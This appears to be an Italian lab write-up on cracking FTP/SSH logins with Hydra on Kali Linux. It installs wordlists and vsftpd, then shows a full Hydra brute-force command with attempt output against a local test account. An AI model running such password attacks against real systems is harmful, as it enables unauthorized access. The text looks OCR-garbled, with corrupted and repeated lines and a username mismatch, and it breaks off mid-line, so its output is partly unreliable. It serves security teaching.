AUTHENTICATION CRACKING CON HYDRA

Creazione nuovo utente su Kali Linux

Configurazione del servizio SSH

```
(kali@kali)-[~]
$\frac{\sudo}{\sudo} \text{ service ssh start}
```

Download wordlist che utilizzeremo con Hydra

```
(kali⊗ kali)-[~]
$ sudo apt install seclists
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
    seclists
0 upgraded, 1 newly installed, 0 to remove and 5 not upgraded.
Need to get 431 MB of archives.
After this operation, 1,756 MB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2023.3-0kali1 [431 MB]
Fetched 431 MB in 3min 41s (1,950 kB/s)
Selecting previously unselected package seclists.
(Reading database ... 425296 files and directories currently installed.)
Preparing to unpack ... /seclists_2023.3-0kali1_all.deb ...
Unpacking seclists (2023.3-0kali1) ...
Setting up seclists (2023.3-0kali1) ...
Processing triggers for kali-menu (2023.4.5) ...
Processing triggers for wordlists (2023.2.0) ...
```

Cracking delle credenziali dell'utente test_user tramite il tool Hydra

Installazione del demone vsftpd così da poter utilizzare il servizio FTP

```
<u>sudo</u> apt install vsftpd
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
 vsftpd
0 upgraded, 1 newly installed, 0 to remove and 5 not upgraded.
Need to get 142 kB of archives.

After this operation, 351 kB of additional disk space will be used.

Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]
Fetched 142 kB in 1s (113 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 430849 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b2) ...
Setting up vsftpd (3.0.3-13+b2) ...
update-rc.d: We have no instructions for the vsftpd init script. update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.2-3)
Processing triggers for kali-menu (2023.4.5) ...
```

Avvio del servizio FTP

```
____(kali⊗kali)-[~]

$ sudo service vsftpd start
```

Nel file di configurazione è disabilitata di default l'opzione anonymous login

Testi di connessione

```
(kali* kali)-[~]
$ ftp test_user@192.168.1.101
Connected to 192.168.1.101.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>_
```

Cracking delle credenziali dell'utente test_user tramite il tool Hydra

```
(kali@kali)-[~]
$ hydra -l text_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt 192.168.1.101 -t4 ftp -V Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-16 08:50:38

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 1001 login "test_user" - pass "sandra" - 334 of 10000 [child 3] (0/0)

[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "dolpin" - 340 of 10000 [child 2] (0/0)

[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "dolpin" - 340 of 10000 [child 1] (0/0)

[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "captain" - 343 of 10000 [child 1] (0/0)

[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "captain" - 343 of 10000 [c
```